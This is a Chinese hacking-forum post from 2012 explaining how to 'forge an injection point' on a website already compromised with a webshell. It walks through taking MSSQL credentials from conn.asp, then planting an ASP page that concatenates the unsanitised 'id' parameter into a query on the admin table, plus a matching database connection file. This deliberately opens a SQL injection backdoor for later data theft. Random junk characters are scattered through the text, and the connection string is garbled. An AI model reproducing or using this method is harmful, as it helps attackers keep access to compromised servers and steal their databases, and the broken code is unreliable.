找回密码
 立即注册
查看: 2185|回复: 0
打印 上一主题 下一主题

伪造注入点方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:08 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:3 |9 o9 f2 J+ b6 y0 B
ASP/Visual Basic代码
, ]) f) M. G$ ]; i. M<!--#include file="xx.asp"-->    5 V8 M( S3 \6 @! q9 g  a
<%   
; a1 f7 ^9 J) Vset rs=server.createobject("ADODB.recordset")    . ~1 p  ~# e, T  I! ~1 p" |, B
id = request("id")    ' s! {' J8 J! [& _4 j, D7 U
strSQL = "select * from admin where id=" & id    / c3 h5 j  {0 Y) D, l$ p1 ?- ^- k
rs.open strSQL,conn,1,3    9 t" M5 t$ v( e" \7 _2 b
rs.close   
# O5 {- q6 h2 F. M+ ^% @; N%>  
/ W8 q3 s- Y6 b, V把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!' Y% u* y1 c+ k/ I
然后就要构造一个连接数据库的文件了,代码如下:; b5 `7 e, m' C$ F, D4 Q
ASP/Visual Basic代码1 M  V, k7 L! t
<%            / n2 A- e5 A# c, `8 {3 @
strSQLServerName = "000.000.000.000"     '服务器名称或地址    * a/ L: ]7 X, c3 F8 U
strSQLDBUserName = "sqlname"         '数据库帐号   
8 E& L( P: E; a$ {+ E: ~9 hstrSQLDBPassword = "sqlpass"         '数据库密码   
3 B. `( s9 W* x4 X; I6 UstrSQLDBName = "sqldataname"           '数据库名称   
( m7 x9 x4 E$ M. ?Set conn = Server.CreateObject("ADODB.Connection")   
' l1 s# v& i$ V" RstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   
9 T  `6 Q' G/ {% x( s. sconn.open strCon   
5 F6 x4 W4 f1 C%>  
* C& x7 o; B& }; b2 k这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
7 A6 T* c/ B. ]* n6 P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表